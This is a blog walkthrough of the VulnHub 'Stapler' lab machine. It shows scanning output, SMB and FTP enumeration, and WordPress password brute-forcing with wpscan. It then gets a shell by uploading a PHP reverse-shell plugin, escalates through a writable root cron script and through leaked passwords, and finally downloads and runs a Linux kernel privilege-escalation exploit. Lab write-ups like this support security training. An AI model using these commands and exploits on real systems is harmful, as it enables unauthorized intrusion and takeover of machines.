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VulnHub - Stapler

pwned_ on Jan 11, 20212021-01-11T19:13:54+07:00
9 min read

Enumeration

netdiscover

netdiscover

netdiscover is an active/passive ARP reconnaissance tool that allows us to identify which machines in our local network.

nmap scan

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$ nmap -min-rate 5000 --max-retries 1 -sV -sC -p- -oN Stapler-full-port-scan.txt 192.168.43.197
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.43.53
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 9
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, LongPassword, FoundRows, Speaks41ProtocolOld, SupportsCompression, SupportsLoadDataLocal, IgnoreSigpipes, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, LongColumnFlag, ConnectWithDatabase, ODBCClient, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: .\x0COs\x11)\x12JU	i^\x06\x11\x05aF\x17EV
|_  Auth Plugin Name: mysql_native_password
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

Host script results:
|_clock-skew: mean: 59m58s, deviation: 0s, median: 59m57s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2021-01-07T11:01:45+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-01-07T11:01:45
|_  start_date: N/A

There is a bunch of open ports such as 21 (FTP), 22 (SSH), 53 (DNS), 80 (HTTP), 139 (SMB), 3306 (MySQL) and also 12380 (HTTP).

nmap vuln scan

nmap scan vuln

Among the vulnerabilities reported by nmap, many are about DOS attacks (like Slowloris). However, However, one flaw stands out: Samba seems vulnerable to remote code execution (CVE-2009-3103).

nmap OS detection

Nevertheless, if we enable OS detection during the scan, we can see the target is Linux server so it might be not vulnerable to the CVE we saw earlier:

nmap-os-detection

HTTP (Port 80)

PHP cli server 5.5 (port 80)

gobuster

gobuster

Nothing looks interesting yet. Let’s check out other ports.

nikto

nikto

FTP (port 21)

We can log in as anonymous within ftp:

FTP

During this first reconnaissance phase, we identified 3 potential users:

  1. Harry
  2. Elly
  3. John

SMB (Port 139)

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$ smbclient -L //192.168.43.197/ -U '%'
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	kathy           Disk      Fred, What are we doing here?
	tmp             Disk      All temporary files should be stored here
	IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Two additional users:

  • Kathy
  • Fred

kathy

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$ smbclient //192.168.43.197/kathy -U '%'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  3 18:52:52 2016
  ..                                  D        0  Mon Jun  6 23:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 17:02:27 2016
  backup                              D        0  Sun Jun  5 17:04:14 2016

                19478204 blocks of size 1024. 16395604 blocks available
smb: \> cd kathy_stuff
smb: \kathy_stuff\> ls
  .                                   D        0  Sun Jun  5 17:02:27 2016
  ..                                  D        0  Fri Jun  3 18:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 17:02:27 2016

                19478204 blocks of size 1024. 16395600 blocks available
smb: \kathy_stuff\> get todo-list.txt
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (3.5 KiloBytes/sec) (average 3.5 KiloBytes/sec)
smb: \kathy_stuff\> cd ..
smb: \> cd backup\
smb: \backup\> ls
  .                                   D        0  Sun Jun  5 17:04:14 2016
  ..                                  D        0  Fri Jun  3 18:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 17:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 19:14:46 2015

                19478204 blocks of size 1024. 16395600 blocks available
smb: \backup\> get vsftpd.conf
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (363.8 KiloBytes/sec) (average 173.1 KiloBytes/sec)
smb: \backup\> get wordpress-4.tar.gz
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (28984.0 KiloBytes/sec) (average 25018.2 KiloBytes/sec)

todo list

DNS (port 53)

IP changed to 192.168.1.106 because I restarted the VM

Requesting DNS zone transfer:

DNS

We see a bunch of new IP addresses associated with domain names.

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$ cat services/53-dns.txt | grep A | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
k.root-servers.net.     595045  IN      A       193.0.14.129
l.root-servers.net.     595045  IN      A       199.7.83.42
m.root-servers.net.     343564  IN      A       202.12.27.33
b.root-servers.net.     188945  IN      A       199.9.14.201
c.root-servers.net.     582908  IN      A       192.33.4.12
d.root-servers.net.     595045  IN      A       199.7.91.13
e.root-servers.net.     595045  IN      A       192.203.230.10
f.root-servers.net.     595045  IN      A       192.5.5.241
g.root-servers.net.     595045  IN      A       192.112.36.4
h.root-servers.net.     595045  IN      A       198.97.190.53
i.root-servers.net.     595045  IN      A       192.36.148.17
a.root-servers.net.     340541  IN      A       198.41.0.4
j.root-servers.net.     595045  IN      A       192.58.128.30

I saved these new IP addresses into a file and launched a nmap scan on each of them:

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for IP in $(cat IP.txt); do nmap -sV -oN scan/$IP.txt $IP; done

Unfortunately, each of these IP addresses only runs DNS on port 53 …

HTTP•S (Port 12380)

Desktop View

If we check the sources we can see another user (Tim):

Desktop View

nikto

Desktop View

Unlike port 80, this nikto scan returns us SSL info and plenty of interesting information such as:

  • /robots.txt file with following entries:
    • /blogblog
    • /admin112233
  • a /phpmyadmin folder

gobuster

As we can see gobuster doesn’t get any response if we attack the target using HTTP. But if we use set target’s URL as using HTTPS, it works.

HTTP

Desktop View

HTTPS

I had to to reduce the number of threads (default 10). Otherwise, we’re getting too many errors.

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$ gobuster dir -u https://192.168.1.106:12380 -w /usr/share/dirb/wordlists/common.txt -o services/12380-https.txt -k -t 4
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://192.168.1.106:12380
[+] Threads:        4
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/01/07 17:46:17 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/announcements (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2021/01/07 17:46:23 Finished
===============================================================

/announcements

announcements

message

Another potential user: Abby.

/blogblog

blogblog initech

John Smith is the author of all posts!

First, I took a look at HTTP Response Headers to see if we can get any information:

dave

Something doesn’t look right here…

Then I ran gobuster:

The site takes a while to load, so I decided to check the sources:

wordpress

We can notice that’s a WordPress website version 4.2.1.

Wordpress

gobuster

blogblog gobuster

wpscan

Wordpress Security Scanner alias wpscan can help us attack this website.

  • Enumerating users:
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$ wpscan --url https://192.168.1.106:12380/blogblog/ --disable-tls-checks --enumerate u

Wordpress user

  • Bruteforce passwords:
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$ wpscan --url https://192.168.1.106:12380/blogblog/ --disable-tls-checks --password-attack wp-login -U wp-users.txt -P /usr/share/wordlists/seclists/Passwords/darkweb2017-top10000.txt -t 100

user creds

Let’s try to lo in:

wp-login

We’re in:

harry dashboard

Our goal to gain access to target’s shell. In order to do that, we can upload a malicious php file via wordpress.

Among the users for whom we managed to get their passwords, only john has a different dashboard and seems to be the admin:

john wp-admin

Reverse shell (uploading malicious plugin)

First and foremost, let’s run a listener:

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$ nc -lnvp 1234

We’ll try to upload a tiny PHP reverse shell in WordPress plugins:

plugins

add plugin

We specify anonymous as username and password:

install plugin

shell.php is in https://192.168.1.106:12380/blogblog/wp-content/uploads/:

uploaded plugin

If we click on it, PHP is executed by the web server and we got a shell:

reverse shell

Privesc

Method #1: cron-logrotate.sh

linpeas.sh reported an interesting file that we can overwrite: /usr/local/sbin/cron-logrotate.sh

linpeas

cron-logrotate content

The file contains nothing interesting but it’s owned by root. If this script is executed by root via a cronjob we can put a reverse shell payload in it:

reverse shell payload

It worked:

reverse shell as root

Method #2: .bash_history

If we inspect .bash_history files of each user in /home, we can identify these two lines:

bash_history

thisimypassword is JKanode’s password and JZQuyIN5 is peter’s password.

If we log in as peter we can see that he can run sudo for every program. So if we run sudo su we can privesc to root

peter-sudo

Method #3: kernel exploit

ubuntu 16-04

The target machine is running Ubuntu 16.04 with a Linux kernel version 4.4.0-21-generic.

Since it’s an old box, we can easily bet on kernel exploits. Indeed: searchsploit

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$ searchsploit -m linux/local/39772.txt                                            
  Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
      URL: https://www.exploit-db.com/exploits/39772                                                                 
     Path: /usr/share/exploitdb/exploits/linux/local/39772.txt                                                       
File Type: C source, ASCII text, with CRLF line terminators
                                                          
Copied to: /mnt/hgfs/shared/Stapler/39772.txt

If we take a look at 39772.txt, we see that there is a way to exploit the kernel which can lead us to code execution by root.

Steps to reproduce on the target machine:

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$ cd /tmp/
$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
$ unzip 39772.zip
$ cd 39772/
$ tar xvf exploit.tar
$ cd ebpf_mapfd_doubleput_exploit
$ chmod +x compile.sh
$ ./compile.sh 
$ ./doubleput
./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:/tmp/39772/ebpf_mapfd_doubleput_exploit#
  • Final flag:
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root@red:~# cat flag.txt
cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
VulnHub walkthroughs, Linux
vulnhub-linux netdiscover nikto gobuster wordpress wpscan brute-force reverse-shell searchsploit CVE-2016-4557 kernel exploit plain text password writeup oscp-prep
This post is licensed under 0x3n0 by the author.
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